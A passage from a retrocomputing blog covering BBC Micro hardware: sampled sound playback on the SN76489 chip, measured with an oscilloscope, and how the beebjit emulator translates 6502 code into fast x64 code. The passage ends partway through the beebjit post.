width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">From the archived <a href="http://bitsavers.trailing-edge.com/components/intel/8048/9800270D_MCS-48_Family_Users_Manual_Jul78.pdf" target="_blank">MCS-48 users' manual</a></td></tr></tbody></table><div><br /></div><div><b><font size="5">Summary</font></b></div><div><br /></div><div>This is the most fun I've had while sustaining serious data corruption.</div><div><br /></div><div><div><b>If you have any knowledge or memories of how the 8271 is actually architected, or details of undocumented behaviors, please get in touch!</b></div><div><br /></div></div>Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com11tag:blogger.com,1999:blog-3024470480937744884.post-15374569437658114892020-06-02T13:49:00.000-07:002020-06-02T13:49:13.709-07:00Sampled sound 1980s style: from SN76489 square waves to samplesIn the early 1980s, the <a href="https://en.wikipedia.org/wiki/Texas_Instruments_SN76489" target="_blank">Texas Instruments SN76489</a> sound chip was found in a variety of personal computers, consoles and arcade cabinets.<div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img src="https://upload.wikimedia.org/wikipedia/commons/a/a8/SN76489_01.jpg" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">The legend, the chip itself</td></tr></tbody></table><div><br /></div><div>It is a fairly simple chip, consisting of 3 "tone channels", and one "noise channel", typically mapped to 3 note channels and one drum channel. The tone channels play square waves and the noise channel can emit either white noise or "periodic" noise. Despite this simplicity, human creativity -- as usual -- came to the rescue to bang out some good sounding tunes.</div><div><br /></div><div>A couple of examples for you: <a href="https://www.youtube.com/watch?v=0w8ivhw9RZE" target="_blank">Galaforce title music</a> and <a href="https://www.youtube.com/watch?v=Q1JGLSbxznU" target="_blank">Icarus title music</a> (both BBC Micro).</div><div><br /></div><div>Programmers even worked out how to coax sampled sound out of this beast back in the day! Sampled sound, from square waves?! The (very brief) <a href="https://www.youtube.com/watch?v=HCZA4toasfU" target="_blank">sampled speech intro to Spy Hunter</a> is a good example.</div><div><br /></div><div>This blog post concerns how the mechanics of the sampled sound actually work, but first a quick demo of my own attempt to advance the art from sample discs produced back it the day. My own sample disc playback looks like this:</div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbKrq551wTVQ_RX4ONCHoNPk_oBJiwrQj-j3xXXh4NFuOVBnMMu1hw3ke9T3PEGUIMODEGDwp04wWTPNjwJanrD96RfV5RyonCJojBWtkA3D05WlfxzuOS5uZOg1xSK0h-4lLDyVNUoHN_/" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="672" data-original-width="774" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbKrq551wTVQ_RX4ONCHoNPk_oBJiwrQj-j3xXXh4NFuOVBnMMu1hw3ke9T3PEGUIMODEGDwp04wWTPNjwJanrD96RfV5RyonCJojBWtkA3D05WlfxzuOS5uZOg1xSK0h-4lLDyVNUoHN_/s320/sampstream.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;">"sampstream" running in beebjit</div> </div><div>Amusingly, the sample playback quality on a 1980 chip is obviously not <b>too</b> badly mangled because YouTube content ID recognizes emulator recordings of the commercial songs I chose as demos 😆 But you can <a href="https://bbc.godbolt.org/?disc=https://raw.githubusercontent.com/scarybeasts/misc/master/sampstream/demo/sampstream_er.dsd&noseek&autoboot" target="_blank">click here</a> or <a href="https://bbc.godbolt.org/?disc=https://raw.githubusercontent.com/scarybeasts/misc/master/sampstream/demo/sampstream_tmo.dsd&noseek&autoboot">click here</a> to play these sampstream demo discs in the jsbeeb emulator. It sounds similar to real hardware, although real hardware sounds less harsh and louder (you may need to crank your volume up).</div><div><br /></div><div>"sampstream" features:</div><div><ul style="text-align: left;"><li>Near instant start and uninterrupted 400k of sample playback. It uses a custom asynchronous disc loader that auto-detects the Intel 8271 vs. Western Digital 1770 disc controller and drives it directly and asynchronously.</li><li>A real-time 50Hz oscilloscope view.</li><li>Noise bands that show disc read bandwidth vs. sample consumption bandwidth</li></ul><div>sampstream does <i>not</i> feature best-in-class sample pre-processing and playback. It also does not use compression, despite samples being pretty compressible. So it's a tech demo that could be made to sound better and play for longer. The <a href="https://github.com/maxim-zhao/pcmenc" target="_blank">pcmenc project</a> is the state-of-the-art I'm aware of for good quality playback. (A lot of what it does it fight against poor 4-bit and non-linear per-sample resolution, using clever techniques such as multi-channel balancing and mid-point rejigging.)</div><div><br /></div><div>[sampstream, and the quicdisc library is it based, are open source and hosted on GitHub <a href="https://github.com/scarybeasts/misc" target="_blank">here</a>]</div><div><br /></div><div>So how does sample playback <i>actually</i> work? The sampstream example keeps things simple and uses only one tone channel. For a SN76489 tone channel, we control:</div></div><div><ul style="text-align: left;"><li>The channel period, i.e. the frequency of the square wave output -- 1024 possible values.</li><li>The channel volume -- 16 possible values.</li><li><strike>A special register that outputs a byte of sampled sound</strike>. (Hahaha no.)</li></ul><div>There's a few good references on the SN76489 online, including how to get sampled sound out of the thing. I recommend <a href="https://www.smspower.org/Development/SN76489" target="_blank">this resource over at SMS Power</a>, as well as the <a href="https://github.com/mamedev/mame/blob/master/src/devices/sound/sn76496.cpp" target="_blank">MAME SN76489 driver source code</a> to give you an idea of the flavors and variants.</div></div><div><br /></div><div>However, some sources hand-wave regarding how it actually works, so let's cover that here by getting out our trusty oscilloscope and applying it to the SN76489 in the BBC Micro.</div><div><br /></div><div>The usual basis of sampled sound playback is driving the SN76489 as a PCM device, i.e. a sequence of sample amplitude values. Everyone seems to agree this is initiated by setting a tone channel to a very high frequency, or very short period. There is disagreement on what period value to use, and why it works.</div><div><br /></div><div>In the BBC Micro, the clock input to the sound chip is 2MHz and it has an internal divide-by-8, making it a 250kHz device. If we set a tone channel period to 1, it will invert that channel's output every clock tick (high, low, high, low...), forming a square wave. A full waveform cycle will need to have a high segment and a low segment, meaning that the output waveform should be a 125kHz square wave.</div><div><br /></div><div>Investigating the output with an oscilloscope is easy because the SN76489 pinout is trivial:</div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img height="320" src="https://upload.wikimedia.org/wikipedia/commons/thumb/d/d6/TI_SN76489_pinout.svg/800px-TI_SN76489_pinout.svg.png" style="margin-left: auto; margin-right: auto;" width="267" /></td></tr><tr><td class="tr-caption" style="text-align: center;">Not too many pins!<br /></td></tr></tbody></table><div><br /></div><div>The pin of interest is pin 7, "SND OUT". What does that look like with all channels silent, except for one tone channel, set to period 1 and maximum volume?</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5y5H_6-V15rjnnRvJ-2zgyEOxYyl0AjLsvgKvBV1Dwa4-RqERLoP7X9tOibQdnCybU6uY3l_pBLenJdHHdTHL6eVDaF5STH_T1lG7Exh2asixCHpqUAX-O6TdgJ3WwcHgp_tfwX1_i3Te/" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1200" data-original-width="1600" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5y5H_6-V15rjnnRvJ-2zgyEOxYyl0AjLsvgKvBV1Dwa4-RqERLoP7X9tOibQdnCybU6uY3l_pBLenJdHHdTHL6eVDaF5STH_T1lG7Exh2asixCHpqUAX-O6TdgJ3WwcHgp_tfwX1_i3Te/w640-h480/sn_125khz.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">SND OUT from the SN76489 in blue</td></tr></tbody></table><div><br /></div><div>In this scope capture, the blue line is the SND OUT output from the SN76489. As can be seen it is a square wave as expected. It's at a 125kHz frequency, 720mV from peak to peak with its upper peak around 3.3v. Right away we notice a surprise: we might have expected an audio signal to center around 0v, but this signal is centered around 3v or so! The chip works like this:</div><div><ul style="text-align: left;"><li>Each audio channel contributes two alternating voltages (peak and trough) to the SND OUT total voltage.</li><li>Neither of the alternating voltages are negative.</li><li>For silent channels, the two alternating voltages will in fact be the same (about 0.8v).</li><li>For max volume channels, the two alternating voltages will be 0v and about 0.8v.</li><li>For this particular SN variant, it is "inverted" compared to what you might expect: a silent channel will output a constant voltage of 0.8v or so, not 0v. This inversion is interesting but does not affect ability to play sampled sound.</li></ul><div>The yellow line above is the output a couple of components later in the audio chain: an LM386N-1 audio amplifier, after traversing an LM324N op-amp. We can see that already, the 125kHz frequency has been partially filtered out by the LM chips. This is why we use such a high frequency as a PCM carrier: it won't affect the audible output. The audio chain will filter it out; the speaker won't be able to respond fast enough to any remnants; and at any rate, the human ultimately at the end of the audio chain cannot hear it.</div></div><div><br /></div><div>The PCM stream is modulated simply by rapidly altering the volume of the 125kHz wave, resulting in a voltage output looking like this (for our 1 tone channel case):</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNDxXh0wV_HHZNSdpfU7lajEhtcR0qI-f78kv7-2Og9FTFMsylF5356a5HubmAFcdfz5kYGx9GfGPpcgixbRjm66KcZK0lUfHBgpAnYQavpVRJMhL0YvdULuikqgFTKzsPw4o4tvHw46Kb/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="371" data-original-width="600" height="396" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNDxXh0wV_HHZNSdpfU7lajEhtcR0qI-f78kv7-2Og9FTFMsylF5356a5HubmAFcdfz5kYGx9GfGPpcgixbRjm66KcZK0lUfHBgpAnYQavpVRJMhL0YvdULuikqgFTKzsPw4o4tvHw46Kb/w640-h396/chart+%25281%2529.png" width="640" /></a></div><div><br /></div><div>The above graph shows a few samples at max volume at the start, some interim, and a few at silent volume (the flat top line) at the end. The red trend line shows what the actual PCM waveform will look like with the 125kHz carrier filtered out. <b>The key for sample playback is likely that the mid-point voltage differs for each volume</b>. Note how its amplitude is half that of the carrier wave. This is likely one reason sampled sound playback is relatively quiet.</div><div><br /></div><div>So now we've seen how a PCM waveform can emerge from just a 125kHz square wave and volume changes. There's some extra ciruitry between the LM386N-1 and the speaker, to keep the speaker happy. It normalizes the oscillation around the positive voltage point to be an oscillation around 0v.</div><div><br /></div><div>It's important to recap how the SN76489 voltage output does <b>not</b> behave. It does <b>not</b> oscillate evenly around a fixed 0v point, which would look like this:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUMRJR5R5H2vEafjH2HxF01esRXXUYB4tEtM4Gsukb8iplm1o-7EcfoJQGRbhOR4_ARteIHJZ_M7Zwtb6lPoN7gkxG0aWK6BfAVO8ARpIkQIMyUPMFUcD00COWYhmX310E66BfPaovl9gl/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="371" data-original-width="600" height="396" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUMRJR5R5H2vEafjH2HxF01esRXXUYB4tEtM4Gsukb8iplm1o-7EcfoJQGRbhOR4_ARteIHJZ_M7Zwtb6lPoN7gkxG0aWK6BfAVO8ARpIkQIMyUPMFUcD00COWYhmX310E66BfPaovl9gl/w640-h396/chart+%25282%2529.png" width="640" /></a></div><div><br /></div><div>The above would not be conducive to sampled sound playback as the average signal after eliminating the 125kHz carrier would be a constant 0v!</div><div><br /></div><div>Although we're done with explaining sampled sound output, it's also worth looking at a few other oscilloscope traces to understand SN76489 behavior. Here's a look at the other extreme, the longest period this particular model can output for a 121Hz sound:</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJkMx59FwCMI4qjsLsasV9EACMmDkPt2khmWBnw7RwZg-GknLwQXasAlFMPKlOiqylGUo1dyh5_YfM5BUB4uMmnvPhI9jYm2SnU3okNViha15XnMkoIBr0WvPHMOJvmNOyWi1rl2pQhUtq/" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJkMx59FwCMI4qjsLsasV9EACMmDkPt2khmWBnw7RwZg-GknLwQXasAlFMPKlOiqylGUo1dyh5_YfM5BUB4uMmnvPhI9jYm2SnU3okNViha15XnMkoIBr0WvPHMOJvmNOyWi1rl2pQhUtq/w640-h480/SN76489_and_amp_out_121Hz.JPG" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">SN76489 output in green, LM386N-1 in blue</td></tr></tbody></table><div><br /></div><div>Some references state that the SN76489 cannot hold a steady square wave output, particularly for longer periods. However, this is clearly not true -- at least for this variant. The square wave output is very clean and it is likely the LM324N or LM386N-1 that is introducing interesting voltage decays into the output waveforms.</div><div><br /></div><div>Finally, here's another SN76489 vs. LM386N-1 output for an 8kHz square wave:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWw5OoJ52Y4VKF23OdcjQ_wByzgqSY6pnA9TIOOp-CRIGRO2NjIZsqGZ8cz9NR4C42iv4_jY8uY0pzvy6AA88H0G-oSguZCSxuvYQbXi09fuwneoJ-BVPyP-hg42NSiKxkDZj4pnT7_MDo/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWw5OoJ52Y4VKF23OdcjQ_wByzgqSY6pnA9TIOOp-CRIGRO2NjIZsqGZ8cz9NR4C42iv4_jY8uY0pzvy6AA88H0G-oSguZCSxuvYQbXi09fuwneoJ-BVPyP-hg42NSiKxkDZj4pnT7_MDo/w640-h480/SN76489_and_amp_out_8.3kHz.JPG" width="640" /></a></div><div><br /></div><div>The output is close to a sine wave, not a square wave! This interesting distortion at 8kHz may be because <a href="http://chrisacorns.computinghistory.org.uk/docs/Acorn/Manuals/Acorn_BBCSMOct85_Sec1.pdf" target="_blank">some sources reference an 8kHz low-pass filter</a> as a part of the LM324N setup.</div><div><br /></div>Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com4tag:blogger.com,1999:blog-3024470480937744884.post-39429149050887248512020-04-13T13:17:00.001-07:002021-05-02T21:17:39.519-07:00Clocking a 6502 to 15GHz (!)<b>6-5-0-who?</b><br />
<br />
The <a href="https://en.wikipedia.org/wiki/MOS_Technology_6502">6502</a> is an iconic processor that dominated home computing in the late 70s and early to mid 80s. It was used in machines ranging from the Apple II to the Atari 2600 to the Commodore 64 to the Nintendo Entertainment System. In pop culture, it <a href="https://spectrum.ieee.org/tech-history/cyberspace/the-truth-about-benders-brain">powered Bender</a>, not to mention the <a href="https://www.pagetable.com/?p=64">Terminator</a>!<br />
<br />
<span id="docs-internal-guid-d894dc4c-7fff-1b22-b671-674c3a34455c"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="border: none; display: inline-block; height: 227px; overflow: hidden; width: 624px;"><img height="227" src="https://lh4.googleusercontent.com/uHMVAe-qlg7mgMkIONlwp3X2CiAWWDAwExCAtJqu2Jb4vCJiZNE5_WOQsFIKySlCj8kJ_Yiimaf0Yp0Iz5HYdVUj88W4M2S3Q9HNaB1uepQrrU28-J8WxqflECjqQE0IgQwgom3G" style="margin-left: 0px; margin-top: 0px;" width="624" /></span></span></span><br />
<br />
It often clocked at a modest 1MHz, with faster variants available. In the UK, a 2MHz variant powered the legendary <a href="https://en.wikipedia.org/wiki/BBC_Micro">BBC Micro</a>, with a 3MHz 6502 co-processor box available to bolt on the side if you so desired.<br />
<br />
<span id="docs-internal-guid-896f8985-7fff-4622-b341-0996fcecf25d"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="border: none; display: inline-block; height: 445px; overflow: hidden; width: 624px;"><img height="445" src="https://lh6.googleusercontent.com/6VdxN92n6CfXm9SF9NmRpmeP4Kkcxj6DJj-R303ALkmqTzL9G6YNXA6Zfej7do_bGKzW5x88ssFh8-AZl9akKy2TRP4clpQgWZ9oO4s8LfrkbjNL0ezmS7-UxbGmE_jTYplz5htm" style="margin-left: 0px; margin-top: 0px;" width="624" /></span></span></span><br />
<br />
<b>Introducing beebjit</b><br />
<br />
It was not the intention of this side project to produce a working, accurate emulator, but one appears to have popped out. The core of beebjit -- and original side project -- is a just-in-time style translation of 6502 code blocks to quasi-equivalent Intel x64 code blocks. Surrounding that core is emulation for the various supporting chips of the BBC Micro, such as the Hitachi 6845 CRTC for display; the 6522 VIA for timing and I/O; the Intel 8271 floppy disc controller; the Texas Instruments SN76489 for sound; etc.<br />
<br />
beebjit is an <a href="https://github.com/scarybeasts/beebjit">open-source project on GitHub</a>.<br />
<br />
In tests, the translated x64 code has been able to demonstrate up to 15GHz of effective 6502 speed, for purely computational tasks such as BBC BASIC programs. For games, things can be a lot slower due to heavy interactions with the graphics, keyboard and timing hardware. To run games accurately (or in some cases at all) requires cycle perfect synchronization of different virtual hardware chips. Despite these challenges, speeds in the GHz range can still be expected.<br />
<br />
What does a mutli-GHz BBC Micro system look like? It’s a lot of fun, perhaps best illustrated with a video. Here, we see the <a href="https://en.wikipedia.org/wiki/Galaforce">classic space shooter Galaforce</a>. You can play it <a href="http://bbcmicro.co.uk/game.php?id=438">online here</a>, in a JavaScript BBC Micro emulator called <a href="https://bbc.godbolt.org/">jsbeeb</a>. In the video, we see Galaforce loading up from a disc simulated at real-time -- don’t forget to watch out for the track-to-track floppy disc seeks, visible as stutters in the loading of the title screen image! Then, after we get a feel for the speed at which the demo screens are running and cycling, we switch up into high gear. Will you be able to tell at which moment that occurs? (Hint: yes.)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/B7pAaylse1k/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/B7pAaylse1k?feature=player_embedded" width="320"></iframe></div>
<br />
<br />
<b>Translating 6502 to x64</b><br />
<br />
When starting out, I had no idea what sort of speed to expect. A naive initial guess would be “fast” because the <a href="http://www.oxyron.de/html/opcodes02.html">6502 instruction set is simple</a>. There are only 256 available combinations of opcode type and addressing mode and only 4 or so 8-bit registers. This is a tiny subset of what the x64 can do in its instruction set, so you’d expect a trivial, fast mapping.<br />
<br />
As is often the case, things are rarely so simple. A bit more thinking reveals a ton of factors why it might be fast and a ton why it might be slow:<br />
<br />
<u>Things that would tend to make 6502 -> x64 faster</u><br />
<br />
<ul>
<li>In the “captain obvious” category, the 6502 in the BBC runs at 2MHz where a modern Intel chip is clocked in the GHz range.</li>
<li>The simplest 6502 instructions take 2 clock cycles. One example would be LDA #10, which sets register A to 10. The Intel processor can dispatch such a triviality in 1 clock cycle.</li>
<li>Depending on the level of parallelism inherent in the code, modern Intel processors can execute multiple instructions per clock cycle.</li>
<li>If you want to get into it, trivial optimizations are possible. For example, the 6502 can only shift its A register by 1 bit at a time with its LSR and ASL instructions, taking 2 clock cycles apiece. It’s common to see a few of these in a row. By contrast, modern Intel processors can shift a register by an arbitrary number of bits in just one clock cycle!</li>
<li>The x64 architecture has an abundance of registers compared to 6502, perhaps offering further opportunities to speed things up.</li>
<li>With 32KB RAM on the base model BBC model B, you could start to hope for a workload that fits into L1 caches.</li>
</ul>
<br />
<br />
<u>Things that would tend to make 6502 -> x64 slower</u><br />
<br />
<ul>
<li>Some 6502 instructions actually don’t map cleanly to a single x64 equivalent. There are some less common ones such as PHP (push processor flags), or SED (set decimal flag, eww!). A couple of extremely common ones, especially in critical loops, are LDA (),Y and STA (),Y. These read / write memory indirectly. The final read / write address is calculated based on issuing two preceding 8-bit reads to make a 16-bit pointer and then adding the Y register. Long story short, the “1 cycle per instruction” nirvana alluded to above certainly does not apply here. Even servicing reads from L1 cache, modern Intel processors take ~4 cycles.</li>
<li>The 6502 is from an era where performance was quite deterministic. Memory ran at the same speed (or in some cases faster!) then the processor, so caches and pipelines and reordering and pain had not yet been inflicted upon us. So, the 5-cycle 6502 instruction LDA (),Y that reads 2 bytes of instructions and 3 other bytes always takes 5 cycles. You won’t get icache misses, dcache misses, DLTB misses, ITLB misses, stalls for a million other reasons, etc. You get the point.</li>
<li><b>Self-modifying code</b>. This was not only supported, but actually very common, particularly in the most performance critical code. I have to suspect that coders were enjoying themselves. Anyway, this poses huge problems. As we execute any 6502 instruction, we have to consider if it was blown away from under us. If we try to optimize anything, we have to beware of crazy stuff like an optimized-away instruction getting self-modify-nuked.</li>
<li><b>Synchronization and interrupts</b>. At every 6502 instruction, we have to consider whether an interrupt condition exists that would cause us to need to execute the IRQ sequence instead. Related, there may be other hardware chips requiring cycle perfect synchronization with the 6502.</li>
<li>Annoying 6502 variable cycle counts. Some 6502 instructions that would otherwise translate very simply to x64 have a quirk where they might take a cycle longer depending on the X or Y register value. LDA ,Y and LDA (),Y are both affected. In a cycle perfect emulation, this needs accounting for.</li>
<li>Paging and hardware register access. Certain memory regions may not be stable. A lot of 6502 systems circumvented the 64KB address space restriction by allowing parts of it to be paged. Additional parts of the address space are typically given over to hardware registers. Hitting these under emulation is guaranteed to be painfully slow as some hardware chip or another will need to be emulated. ROM memory is another headache. Games can and do write to ROM memory, which must be detected and ignored!</li>
</ul>
<br />
<br />
We’ve already revealed that it’s possible to attain GHz speeds. Re-reading the above lists, it would seem that the “slows” outweigh the “fasts” so it’s worth a look at some tricks pulled to do it!<br />
<br />
<b>Tricks for fast 6502 -> x64 translation</b><br />
<br />
<u>Trick #1: make good use of x64’s 16 registers</u><br />
<br />
To get us going, we can take a simple 6502 sample and x64 it!<br />
<br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100031:<span style="white-space: pre;"> </span>mov $0xa,%eax<span style="white-space: pre;"> </span>LDA #10</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100036:<span style="white-space: pre;"> </span>test %al,%al</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100038:<span style="white-space: pre;"> </span>mov %al,%bl<span style="white-space: pre;"> </span>TAX</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x000000002010003a:<span style="white-space: pre;"> </span>test %bl,%bl</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x000000002010003c:<span style="white-space: pre;"> </span>mov %al,0x40(%rbp)<span style="white-space: pre;"> </span>STA $C0</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x000000002010003f:<span style="white-space: pre;"> </span>jmpq 0x20400000<span style="white-space: pre;"> </span>JMP $4000</span><br />
<br />
In the above (unoptimized) x64, we see that we’ve (permanently!) assigned the al register to the 6502 A register and bl to the X register. Note how the 6502 LDA instruction sets zero and negative flags but the x64 mov instruction does not, so the x64 code needs an extra test instruction -- another potential source of slowdown but see below. Some 6502 flags are actually stored in the x64 flags register. The rbp register is used to point to the 6502 memory (actually at offset 0x80 so that every zero page address can be accessed with a 1-byte displacement for a much shorter x64 instruction; the JIT code is performance sensitive to code size). Finally, note how the jmpq is jumping to a specific code location. By using a simple fixed mapping of 6502 code addresses to x64 code addresses, we can keep the generated code small and fast.<br />
<br />
<u>Trick #2: use the host’s memory management for ROM and paging</u><br />
<br />
As mentioned above, a lot of software seems to like to write to ROM. In the BBC, the region $C000 - $FFFF is always the OS ROM (with some hardware registers mapped towards the end). The region $8000 - $BFFF is usually ROM, with the paged-in ROM selectable at runtime. (For example, BASIC might usually be paged in but the Disc Filing System ROM would be paged in when doing I/O to disc.) However, a lot of BBCs were upgraded to have some extra RAM that could be paged into this region.<br />
Obviously, writes to ROM must be ignored. But we really do not want to be adding a test and branch instructions to every JIT memory write! Memory management and paging in the host comes to the rescue. JIT reads and JIT writes are aimed at two different 64KB mapping regions, representing views of the emulated BBC address space. For the JIT reads, ROMs are present as expected. For JIT writes, ROM regions are replaced with “dummy” host pages that are writable but write to a scratch area of memory. (An earlier version of beebjit used fault + fixup for ROM writes instead but this was too slow for Galaforce, which just loves to write to ROM.)<br />
This all works nicely because the ROM boundaries are at 4KB alignments, which joyously happens to match the host granularity! There’s a minor wart caused by Windows having worse alignment granularity than other operating systems, but creative straddling of boundaries saves the day.<br />
<br />
<u>Trick #3: do simple self-modify invalidation on write</u><br />
<br />
One of the most important decisions is how to handle self-modifying code. We don’t want to add in code to perform a check before executing every 6502 opcode, so the alternative is to consider doing something on writes. This is what we do and here is some code:<br />
<br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x000000002010003c:<span style="white-space: pre;"> </span>mov %al,0x3001040(%rbp)<span style="white-space: pre;"> </span>STA $10C0</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100042:<span style="white-space: pre;"> </span>mov 0x4370(%rdi),%r8d</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100049:<span style="white-space: pre;"> </span>movw $0x17ff,(%r8)</span><br />
<br />
As can be seen, after the actual write to $10C0 is dispatched via the rbp register, there is a follow-up read and write. rdi permanently points to a context object that contains various important things.<br />
In this instance, the JIT code is looking up a compiler maintained map of 6502 addresses to host code. The final x64 instruction writes to host code for the invalidation. But what is this magic constant 0x17ff? It is the 2 byte sequence for the x64 instruction callq *(%rdi). This ensures that if a 6502 address is invalidated, the x64 code representing it will cleanly call out of JIT and into some fix up and recompile routine.<br />
It’s tempting to try and avoid the extra read and write: what if we can look up whether a given write address contains code or not? Whereas these sorts of optimization may be possible, adding the check adds a branch (extra code; bloats branch caches; very slow if not a predictable branch) and will almost certainly be slower than just unconditionally doing the write. It’s worth noting that nothing depends on the extra read / write and that’s exactly the sort of case where the single core parallelism of modern Intel processors can give a boost.<br />
<br />
<u>Trick #4: monitor excessive recompiles</u><br />
<br />
If you consider the above scheme for handling self-modification, you’ll immediately notice a serious performance issue: every self-modification appears to incur a huge cost! Firstly, although Intel processors are documented as supporting self-modifying code, it is not fast. You’ll invalidate all sorts of caches and pipelines. Secondly, calling out of JIT to some C routine involves all sorts of register and calling convention fixups. Thirdly, the act of compiling is slow relative to the act of executing.<br />
Fortunately, this can all be cleared up with a compiler that generates code differently based on monitoring what is going on. If a given 6502 opcode is being repeatedly recompiled, we can maintain some metadata about the exact situation and deal with it. To give a concrete example, here’s a couple of 6502 instructions from the Galaforce sprite routine at $B00:<br />
<br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0B00: STA $0B4F</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> …</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0B4E: LDA $2FA0,X</span><br />
<br />
This sort of pattern covers many performance critical self-modifying situations and the compiler can make it go very fast. Firstly, the hard-coded $2FA0 value is replaced by a fetch from $0B4F and $0B50 so that the latest in-memory contents are used as the operand. Secondly, the write invalidations address table is set up so that 6502 writes to $0B4F and $0B50 no longer invalidate any x64 code because it no longer needs invalidation. And then execution proceeds, almost at 100% original speed but supporting self-modified operands!<br />
beebjit doesn’t yet handle all self-modification situations in a recompile-free manner, but there is no fundamental reason it can’t / won’t in the future.<br />
<br />
<u>Trick #5: compile to blocks and check timing once per block</u><br />
<br />
Looking at the JIT code for the above Galaforce sprite routine at $0B00, it starts off like this:<br />
<br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x00000000200b0000:<span style="white-space: pre;"> </span>lea -0x33(%r15),%r15</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x00000000200b0004:<span style="white-space: pre;"> </span>bt $0x3f,%r15</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x00000000200b0009:<span style="white-space: pre;"> </span>jb 0x3100b000</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x00000000200b000f:<span style="white-space: pre;"> </span>mov %al,0x3000acf(%rbp)<span style="white-space: pre;"> </span>STA $0B4F</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x00000000200b0015:<span style="white-space: pre;"> </span>mov 0x2dac(%rdi),%r8d</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x00000000200b001c:<span style="white-space: pre;"> </span>movw $0x17ff,(%r8)</span><br />
<br />
What are those three instructions at the start? The register r15 permanently stores a variable called “countdown”. Here it is being decremented by 51 (0x33) and checked to see if it goes negative, with a branch if so.<br />
The whole timing model revolves around this countdown. As the 6502 code interacts with hardware and sets up timer IRQs, vsync IRQs, timers tick down towards 0 when some event must occur (raise IRQ perhaps). There’s also a timer ticking that fires every now and again to check the status of the physical keyboard for input. At any time, r15 tracks how soon the soonest timer is due to fire. Since we’re running a 2MHz processor, chances are that it could be thousands of processor ticks between interesting events.<br />
In the case of the above block, it contains 51 6502 cycles worth of 6502 instructions. In the very common case, nothing interesting is due to happen in these 51 cycles, so the r15 decrement will not go negative and the branch will not be taken. This is great news for the performance of the block! Since nothing interesting is happening, we know that nothing will be raising any IRQ and the whole block can proceed without having to check for an interrupt condition every instruction. We also gain freedom to implement many optimizations without fear of some interrupt landing in the middle of a couple of coalesced 6502 instructions, for example. It’s also worth noting that nothing else in the block depends upon r15 so the Intel processor can do the check in parallel with other work.<br />
<br />
<u>Trick #6: optimize zero page writes until you can’t</u><br />
<br />
